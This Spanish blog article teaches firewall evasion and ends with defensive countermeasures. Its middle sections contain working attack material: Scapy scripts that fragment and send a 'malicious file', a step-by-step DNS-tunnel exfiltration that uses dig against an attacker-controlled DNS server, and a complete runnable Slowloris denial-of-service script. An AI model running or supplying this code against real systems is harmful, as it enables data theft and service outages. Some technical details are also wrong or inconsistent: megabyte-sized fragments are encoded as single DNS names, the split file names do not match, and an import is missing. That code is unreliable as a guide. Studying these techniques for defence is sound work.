Principales técnicas de evasión de firewalls

Desde que empecé hace ya muchos años en este loco y desenfrenado mundo de la seguridad informática, los firewalls desempeñan un papel crucial en la protección de redes y sistemas. Sin embargo, casi desde su nacimiento se han ido desarrollado técnicas cada vez más sofisticadas para evadir estas defensas y llevar a cabo ataques encubiertos. 

En este artículo, listaremos las principales técnicas de evasión de firewalls, alguna de las cuales requieren un profundo conocimiento y experiencia en seguridad, redes y comunicaciones.

Fragmentación de paquetes

Una técnica común para evadir firewalls consiste en fragmentar paquetes de datos de manera que se envíen en partes separadas. Esto dificulta la detección del tráfico malicioso, ya que el firewall puede no ser capaz de reconstruir el contenido completo del paquete y analizarlo adecuadamente. Evidentemente, se puede aprovechar esta técnica para ocultar su actividad maliciosa en medio del tráfico legítimo, pero veamos un ejemplo para aterrizarlo.

Supongamos que queremos evadir un firewall para enviar un archivo malicioso a través de la red. En lugar de enviar el archivo completo en un solo paquete, decidimos fragmentar el archivo en múltiples paquetes más pequeños y enviarlos por separado. Esto dificulta la detección y el análisis del tráfico por parte del firewall, ya que el contenido completo del archivo no se encuentra en un solo paquete.

Para ello podemos utilizar herramientas específicas, como Scapy en Python, para fragmentar los paquetes de forma personalizada. A continuación, se muestra un ejemplo simplificado de cómo se podría realizar la fragmentación de paquetes en Python utilizando Scapy:

from scapy.all import IP, fragment

# Dirección IP de origen y destino
src_ip = "192.168.0.100"
dst_ip = "10.0.0.2"

# Datos a enviar (archivo malicioso)
data = b"Archivo malicioso..."

# Fragmentar los datos en paquetes más pequeños
fragments = fragment(IP(src=src_ip, dst=dst_ip) / data, mtu=1500)

# Enviar los paquetes fragmentados
for fragment_packet in fragments:
    fragment_packet.show()
    send(fragment_packet)

En este ejemplo, se crea un paquete IP con la dirección IP de origen y destino, y se incluye el contenido del archivo malicioso en los datos del paquete. Luego, utilizando la función fragment() de Scapy, se fragmenta el paquete en fragmentos más pequeños según el MTU (Maximum Transmission Unit) especificado (en este caso, 1500 bytes).

Finalmente, se envían los paquetes fragmentados a través de la red utilizando la función send() de Scapy. Cada paquete fragmentado será interceptado por el firewall como paquetes independientes, lo que dificulta la detección y el análisis del contenido completo del archivo malicioso.

Encapsulación de datos

La encapsulación es otra técnica efectiva para evadir firewalls. Consiste en envolver los datos maliciosos dentro de protocolos legítimos, como HTTP, DNS o ICMP. De esta manera, el tráfico malicioso parece inofensivo a primera vista y puede pasar desapercibido ante los mecanismos de inspección del firewall. En un red team es normal aprovechar esta técnica para camuflar nuestras intenciones y mantener un bajo perfil.

Siguiendo con el ejemplo de la exfiltración de un archivo, supongamos que queremos enviar el archivo aprovechando el protocolo DNS (Domain Name System) para encapsular los datos maliciosos dentro de consultas DNS legítimas. Existen algunas herramientas que nos facilitan la vida como dnscat, pero para el ejemplo vamos a seguir estos pasos más manuales:

  1. Configuración del servidor DNS: Primero, necesitarás configurar un servidor DNS controlado por el atacante. Puedes usar herramientas como "dnsmasq" o "Bind" para este propósito. Asegúrate de tener el control total sobre el servidor DNS y poder modificar las respuestas DNS según sea necesario.

  2. División del archivo en fragmentos: El archivo que deseas exfiltrar se divide en fragmentos más pequeños. Puedes usar herramientas como "split" en sistemas Unix para realizar esta división. Por ejemplo, dividir un archivo llamado "datos_confidenciales.zip" en fragmentos de 1MB:

split -b 1m datos_confidenciales.zip fragmento_

Esto generará múltiples archivos fragmento_1, fragmento_2, etc.

  1. Conversión de fragmentos en nombres de dominio: Cada fragmento se convierte en un nombre de dominio. Por ejemplo, utilizando un script de Python para convertir los fragmentos en subdominios:
import base64

def convert_to_subdomain(filename):
    with open(filename, 'rb') as file:
        data = file.read()
        encoded_data = base64.b64encode(data).decode()
        subdomain = encoded_data.replace('/', '_').replace('+', '-')
        return subdomain + '.tu-dominio-malicioso.com'

# Ejemplo de uso
filename = 'fragmento_1'
subdomain = convert_to_subdomain(filename)
print(subdomain)

Este código convierte el contenido de cada fragmento en una cadena base64 y reemplaza los caracteres especiales ("/" y "+") para que sean compatibles con los nombres de dominio.

  1. Configuración del servidor DNS encubierto: En el servidor DNS controlado por el atacante, debes configurar las respuestas para los subdominios generados en el paso anterior. Cada subdominio debe estar mapeado a la dirección IP del servidor controlado por el atacante.

  2. Exfiltración del archivo: Para exfiltrar los fragmentos a través del canal DNS encubierto, debes realizar consultas DNS para cada subdominio generado en el paso 3. Puedes usar herramientas como "dig" o desarrollar un script personalizado para automatizar este proceso. Por ejemplo, utilizando "dig" en Linux:

dig @servidor-dns-atacante.com fragmento_1.tu-dominio-malicioso.com 

Este comando realizará una consulta DNS al servidor DNS controlado por el atacante para obtener el fragmento_1.

  1. Reconstrucción del archivo: Una vez que se han exfiltrado todos los fragmentos, debes reconstruir el archivo original combinando los fragmentos. Puedes usar herramientas como "cat" en sistemas Unix para realizar esta reconstrucción:
cat fragmento_* > archivo_exfiltrado.zip 

Este comando concatenará todos los fragmentos en el archivo_exfiltrado.zip.

Uso de puertos no estándar

La mayoría de los firewalls inspeccionan y filtran el tráfico en función de los puertos utilizados. Los atacantes pueden evadir esta detección utilizando puertos no estándar para sus comunicaciones maliciosas. Cambiar el puerto de destino de un servicio conocido o utilizar puertos reservados puede dificultar la identificación y bloqueo de tráfico malicioso por parte del firewall puede ser bastante efectivo.

Para este caso yo creo que no hace falta ningún ejemplo práctico ;)

Ofuscación de paquetes

La ofuscación de paquetes es una técnica utilizada para ocultar el contenido real de los datos transmitidos. Esto se logra mediante la alteración de la estructura de los paquetes y la codificación del contenido de diversas formas. Los atacantes emplean algoritmos y técnicas de ofuscación para dificultar la detección y el análisis del tráfico malicioso por parte del firewall.

Veamos el siguiente ejemplo:

from scapy.all import IP, TCP, send

# Crear paquete IP y TCP
ip_packet = IP(src="192.168.0.100", dst="10.0.0.2")
tcp_packet = TCP(sport=1234, dport=80, flags="S", seq=12345)

# Ofuscar los campos del paquete
ip_packet.tos = 1   # Tipo de servicio
tcp_packet.window = 4096  # Tamaño de la ventana
tcp_packet.options = [('MSS', 10), ('NOP', None), ('WScale', 7)]  # Opciones TCP

# Enviar el paquete ofuscado
send(ip_packet / tcp_packet)

En este ejemplo, se crea un paquete IP y TCP utilizando la librería de Scapy. Luego, se modifican algunos campos del paquete para ofuscar su contenido.

En el campo "Tipo de servicio" (tos), se establece un valor específico (1 en este caso) para indicar un tipo de servicio distinto al valor predeterminado. Esto puede dificultar la identificación del tráfico malicioso por parte de los sistemas de seguridad que confían en la clasificación del tipo de servicio.

En el campo "Tamaño de ventana" (window), se establece un valor inusual (4096 en este ejemplo) para indicar un tamaño de ventana no común. Esto puede dificultar la detección de ataques que exploten vulnerabilidades relacionadas con el tamaño de ventana específico.

Además, se agregan opciones TCP adicionales (options) al paquete, como "MSS" (Maximum Segment Size), "NOP" (No Operation), y "WScale" (Window Scale). Estas opciones pueden añadir confusión y dificultar la detección de ataques basados en el análisis y filtrado de opciones TCP.

Finalmente, el paquete ofuscado se envía utilizando la función send() de Scapy.

Evasión por temporización

Técnicas por ejemplo como "slowloris" mediante los cuales se pueden enviar solicitudes HTTP de forma lenta y mantenida para agotar los recursos del servidor objetivo, evadiendo así las reglas de tiempo de espera del firewall.

A continuación, se muestra un ejemplo de cómo se podría realizar un ataque Slowloris utilizando Python:

import socket
import random
import time

def slowloris_attack(target_ip, target_port, num_connections):
    # Crear las conexiones TCP
    connections = []
    for _ in range(num_connections):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((target_ip, target_port))
        connections.append(s)

    # Mantener las conexiones abiertas
    while True:
        for connection in connections:
            try:
                # Enviar una solicitud HTTP parcial
                connection.send("GET / HTTP/1.1\r\n".encode())
                connection.send("Host: {}\r\n".format(target_ip).encode())
                connection.send("User-Agent: {}\r\n".format(random.choice(user_agents)).encode())
                connection.send("Accept-Language: en-US,en;q=0.5\r\n".encode())
                time.sleep(15)  # Retardo entre envío de cada línea

            except Exception as e:
                print("Error en la conexión:", str(e))
                connections.remove(connection)
                connection.close()

        # Si no quedan conexiones, terminar el ataque
        if len(connections) == 0:
            break

# Configuración del ataque
target_ip = "10.0.0.2"
target_port = 80
num_connections = 200
user_agents = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36",
    # Agrega más user agents si lo deseas
]

# Ejecutar el ataque Slowloris
slowloris_attack(target_ip, target_port, num_connections)

Como véis se crean múltiples conexiones TCP al servidor objetivo utilizando sockets, y se mantiene cada conexión abierta enviando solicitudes HTTP parciales repetidamente.

Conclusiones y contramedidas

Como veis las técnicas de evasión de firewalls representan un desafío significativo para la seguridad de las redes y los sistemas. Constantemente se está innovando y desarrollando nuevas formas de eludir estas defensas. 

Existen varias contramedidas que se pueden implementar para mitigarlas, algunas de las principales:

  1. Actualización de firmware y software: Mantener actualizados los firewalls y los sistemas operativos es crucial para garantizar que se apliquen los últimos parches de seguridad y contrarrestar las técnicas de evasión conocidas.

  2. Configuración adecuada de reglas de firewall: Revisar y ajustar las reglas del firewall para bloquear o limitar el tráfico no deseado, como puertos no utilizados o servicios innecesarios. Establecer políticas de filtrado adecuadas y permitir únicamente el tráfico necesario para el funcionamiento de los servicios.

  3. Inspección profunda de paquetes (DPI): Implementar soluciones de DPI para analizar y filtrar el contenido de los paquetes en busca de patrones maliciosos o sospechosos. Esto permite detectar y bloquear técnicas de evasión, como fragmentación y ofuscación de paquetes.

  4. Prevención de ataques de fuerza bruta: Implementar mecanismos de prevención de ataques de fuerza bruta, como bloquear temporalmente las direcciones IP que intenten acceder repetidamente a servicios mediante múltiples intentos fallidos.

  5. Filtrado basado en comportamiento: Utilizar sistemas de detección de anomalías y comportamientos inusuales para identificar actividades maliciosas o tráfico sospechoso. Estos sistemas pueden detectar patrones de tráfico inusuales que podrían ser indicativos de evasión de firewall.

  6. Uso de IDS/IPS: Implementar sistemas de detección y prevención de intrusos (IDS/IPS) para monitorizar y analizar el tráfico en busca de posibles amenazas. Estas soluciones pueden detectar y bloquear ataques conocidos y comportamientos maliciosos.

  7. Actualización de firmas y reglas: Mantener actualizadas las firmas y reglas de detección utilizadas por los IDS/IPS y los sistemas de seguridad para abordar nuevas técnicas de evasión y amenazas emergentes.

  8. Monitorización y registro de eventos: Registrar y analizar los eventos de seguridad para identificar patrones y actividades sospechosas. La monitorización constante permite detectar y responder rápidamente a posibles intentos de evasión.

  9. Segmentación de redes: Dividir la red en segmentos más pequeños y aislar los sistemas críticos para limitar el impacto de un posible ataque y evitar que el tráfico malicioso se propague libremente.

  10. Capacitación y concienciación: Educar a los usuarios y al personal de TI sobre las técnicas de evasión de firewalls, las mejores prácticas de seguridad y las políticas de uso aceptable. Esto ayudará a prevenir errores y garantizar una utilización adecuada de los recursos de red.

Es importante tener en cuenta que ninguna contramedida es infalible por sí sola. La implementación de múltiples capas de seguridad y una estrategia de defensa en profundidad es fundamental para mitigar eficazmente las técnicas de evasión y proteger la red y los sistemas.

¡Buena suerte azulones!

Comentarios